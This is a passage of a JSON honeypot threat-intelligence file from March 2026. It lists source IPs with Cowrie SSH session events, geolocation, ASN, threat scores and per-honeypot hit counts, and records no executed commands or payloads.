      "honeypot_breakdown_30d": {
        "Suricata": 99,
        "Honeytrap": 37,
        "Ciscoasa": 12,
        "Cowrie": 5,
        "H0neytr4p": 4,
        "Dionaea": 2
      }
    },
    "91.230.168.37": {
      "attack_count": 5,
      "first_seen": "2026-03-11T05:51:19.135Z",
      "last_seen": "2026-03-11T05:51:22.921Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 84.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 29,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T06:29:37+00:00",
        "last_seen_30d": "2026-03-31T12:10:30.724000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 42,
        "Cowrie": 5,
        "Ciscoasa": 2
      }
    },
    "104.152.52.126": {
      "attack_count": 4,
      "first_seen": "2026-03-19T15:25:02.986Z",
      "last_seen": "2026-03-19T15:25:03.426Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T04:42:33.278000+00:00",
        "last_seen_30d": "2026-03-19T15:26:05.753000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "142.93.199.193": {
      "attack_count": 4,
      "first_seen": "2026-03-18T05:06:41.576Z",
      "last_seen": "2026-03-18T05:06:42.365Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T05:06:41.576000+00:00",
        "last_seen_30d": "2026-03-18T05:07:43.548000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "205.210.31.184": {
      "attack_count": 4,
      "first_seen": "2026-03-03T10:52:29.226Z",
      "last_seen": "2026-03-03T10:52:32.537Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 73.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 27,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T00:24:58.976000+00:00",
        "last_seen_30d": "2026-03-28T18:31:20.911000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 23,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "205.210.31.40": {
      "attack_count": 4,
      "first_seen": "2026-03-15T22:57:45.934Z",
      "last_seen": "2026-03-15T22:57:49.798Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T05:27:57+00:00",
        "last_seen_30d": "2026-03-31T12:44:21.495000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 27,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "45.156.129.70": {
      "attack_count": 4,
      "first_seen": "2026-03-03T02:56:38.384Z",
      "last_seen": "2026-03-03T02:56:45.817Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 79.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 24.2,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 29,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T02:55:32.247000+00:00",
        "last_seen_30d": "2026-03-31T15:12:57.553000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 19,
        "H0neytr4p": 5,
        "Cowrie": 4
      }
    },
    "80.228.129.144": {
      "attack_count": 4,
      "first_seen": "2026-03-28T09:03:03.869Z",
      "last_seen": "2026-03-28T09:05:03.873Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Varel",
      "asn": 9145,
      "as_org": "EWE-Tel GmbH",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T09:03:03.869000+00:00",
        "last_seen_30d": "2026-03-28T09:15:13.400000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "103.253.21.165": {
      "attack_count": 3,
      "first_seen": "2026-03-21T16:43:00.313Z",
      "last_seen": "2026-03-21T16:45:00.317Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151863,
      "as_org": "PSG JOINT STOCK COMPANY",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T16:43:00.313000+00:00",
        "last_seen_30d": "2026-03-21T16:47:16.580000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "176.65.139.41": {
      "attack_count": 3,
      "first_seen": "2026-03-11T15:50:11.455Z",
      "last_seen": "2026-03-11T15:52:11.465Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 10.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 13,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T06:07:26.575000+00:00",
        "last_seen_30d": "2026-03-14T08:31:00.017000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeyaml": 37,
        "Adbhoney": 10,
        "Cowrie": 3
      }
    },
    "82.158.224.77": {
      "attack_count": 3,
      "first_seen": "2026-03-21T06:23:38.708Z",
      "last_seen": "2026-03-21T06:24:39.931Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 8.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 10,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-12T14:56:14.750000+00:00",
        "last_seen_30d": "2026-03-21T06:25:42.686000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Tanner": 46,
        "Cowrie": 3
      }
    },
    "1.11.45.3": {
      "attack_count": 2,
      "first_seen": "2026-03-07T02:52:17.014Z",
      "last_seen": "2026-03-07T02:52:31.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 18313,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:52:17.014000+00:00",
        "last_seen_30d": "2026-03-07T02:53:38.709000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "1.15.51.236": {
      "attack_count": 2,
      "first_seen": "2026-03-21T15:24:59.947Z",
      "last_seen": "2026-03-21T15:25:31.975Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T15:24:59.947000+00:00",
        "last_seen_30d": "2026-03-21T15:26:36.236000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "101.71.39.26": {
      "attack_count": 2,
      "first_seen": "2026-03-10T21:48:11.603Z",
      "last_seen": "2026-03-10T21:48:25.071Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T21:48:11.603000+00:00",
        "last_seen_30d": "2026-03-10T21:49:27.314000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.23.92.234": {
      "attack_count": 2,
      "first_seen": "2026-03-05T19:46:42.970Z",
      "last_seen": "2026-03-05T19:46:56.158Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 151772,
      "as_org": "Sky Fi Broadband Services Private Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:46:42.970000+00:00",
        "last_seen_30d": "2026-03-05T19:47:59.446000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "108.254.64.17": {
      "attack_count": 2,
      "first_seen": "2026-03-25T10:09:18.010Z",
      "last_seen": "2026-03-25T10:09:31.665Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Greenwell Springs",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T10:09:18.010000+00:00",
        "last_seen_30d": "2026-03-25T10:10:33.670000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.96.177.216": {
      "attack_count": 2,
      "first_seen": "2026-03-08T08:09:22.495Z",
      "last_seen": "2026-03-08T08:09:36.056Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T08:09:22.495000+00:00",
        "last_seen_30d": "2026-03-08T08:10:37.384000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.175.34.10": {
      "attack_count": 2,
      "first_seen": "2026-03-10T01:07:11.719Z",
      "last_seen": "2026-03-10T01:07:25.898Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T01:07:11.719000+00:00",
        "last_seen_30d": "2026-03-12T07:50:16.763000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "125.23.220.134": {
      "attack_count": 2,
      "first_seen": "2026-03-08T02:41:38.961Z",
      "last_seen": "2026-03-08T02:41:52.153Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T02:41:38.961000+00:00",
        "last_seen_30d": "2026-03-08T02:43:01.179000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.149.210.33": {
      "attack_count": 2,
      "first_seen": "2026-03-06T09:18:45.699Z",
      "last_seen": "2026-03-06T09:19:00.384Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9937,
      "as_org": "Delta Networks",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T09:18:45.699000+00:00",
        "last_seen_30d": "2026-03-06T09:20:08.049000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "202.85.46.173": {
      "attack_count": 2,
      "first_seen": "2026-03-21T17:39:44.414Z",
      "last_seen": "2026-03-21T17:39:57.684Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4515,
      "as_org": "PCCW IMS Ltd PCCW Business Internet Access",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T17:39:44.414000+00:00",
        "last_seen_30d": "2026-03-21T17:41:58.232000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.112.179.45": {
      "attack_count": 2,
      "first_seen": "2026-03-27T08:08:40.705Z",
      "last_seen": "2026-03-27T08:08:52.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "M\u00f6lndal",
      "asn": 8434,
      "as_org": "Telenor Sverige AB",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T08:08:40.705000+00:00",
        "last_seen_30d": "2026-03-27T08:09:57.935000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "219.85.5.84": {
      "attack_count": 2,
      "first_seen": "2026-03-17T12:46:09.907Z",
      "last_seen": "2026-03-17T12:46:24.581Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 18182,
      "as_org": "Sony Network Taiwan Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T12:46:09.907000+00:00",
        "last_seen_30d": "2026-03-17T12:47:33.724000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.124.250.119": {
      "attack_count": 2,
      "first_seen": "2026-03-24T16:47:54.163Z",
      "last_seen": "2026-03-24T16:48:08.067Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kowloon",
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T16:47:54.163000+00:00",
        "last_seen_30d": "2026-03-24T16:49:08.730000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.255.165.253": {
      "attack_count": 2,
      "first_seen": "2026-03-25T03:10:12.001Z",
      "last_seen": "2026-03-25T03:10:42.711Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mohali",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T03:10:12.001000+00:00",
        "last_seen_30d": "2026-03-25T03:11:45.961000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "36.91.166.189": {
      "attack_count": 2,
      "first_seen": "2026-03-20T10:40:24.993Z",
      "last_seen": "2026-03-20T10:40:25.155Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T01:21:49.493000+00:00",
        "last_seen_30d": "2026-03-20T10:41:28.968000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2
      }
    },
    "42.177.22.37": {
      "attack_count": 2,
      "first_seen": "2026-03-22T18:54:08.148Z",
      "last_seen": "2026-03-22T18:54:21.249Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T18:54:08.148000+00:00",
        "last_seen_30d": "2026-03-22T18:55:22.353000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "50.118.250.178": {
      "attack_count": 2,
      "first_seen": "2026-03-27T19:07:09.486Z",
      "last_seen": "2026-03-27T19:07:09.675Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 18779,
      "as_org": "EGIHosting",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T19:07:09.486000+00:00",
        "last_seen_30d": "2026-03-28T08:46:52.150000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "66.167.169.232": {
      "attack_count": 2,
      "first_seen": "2026-03-02T13:14:19.683Z",
      "last_seen": "2026-03-02T13:14:32.085Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T13:14:19.683000+00:00",
